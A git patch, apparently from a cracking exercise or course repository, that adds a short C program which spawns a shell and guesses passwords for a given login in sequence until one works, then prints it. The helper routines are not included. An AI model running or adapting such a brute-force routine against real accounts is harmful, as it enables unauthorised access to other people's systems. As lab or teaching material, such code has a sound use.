From 9e1d304cac5367c3dbb1ca14700736680bd3a804 Mon Sep 17 00:00:00 2001 From: Martin Michalec Date: Wed, 11 Nov 2026 08:31:06 +0300 Subject: publish --- 02/src/bruteforce.c | 43 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) create mode 100644 02/src/bruteforce.c (limited to '02/src/bruteforce.c') diff --git a/02/src/bruteforce.c b/02/src/bruteforce.c new file mode 100644 index 0000000..38dfd0f --- /dev/null +++ b/02/src/bruteforce.c @@ -0,0 +1,43 @@ +// src/bruteforce.c --- utility to bruteforce shell password +// +// Copyright (c) 2026 Martin Michalec +// +// SPDX-License-Identifier: MIT +// +// Commentary: +// +// Code: + +#include + +#include "cracking.h" + +int +main (int argc, char *argv[]) +{ + if (argc != 2) { + fprintf (stderr, "Usage: %s LOGIN\n", argv[0]); + exit (EXIT_FAILURE); + } + + struct shell shell = spawn_shell (); + struct string_view login = SVCSTR (argv[1]); + struct string_builder password = {0}; + STRING_BUILDER_APPEND_STRING_VIEW (password, SVCSTR ("A")); + + for (size_t attmept = 0;; ++attmept) { + if (attmept % 10000 == 0) + printf ("Trying: %.*s\n", SBFMT (password)); + + if (test_credentials (shell, login, SVSB (password))) + break; + + password_bump (&password); + } + + printf ("Found: %.*s\n", SVFMT (SVSB (password))); + + return EXIT_SUCCESS; +} + +// src/bruteforce.c ends here -- cgit v1.3.1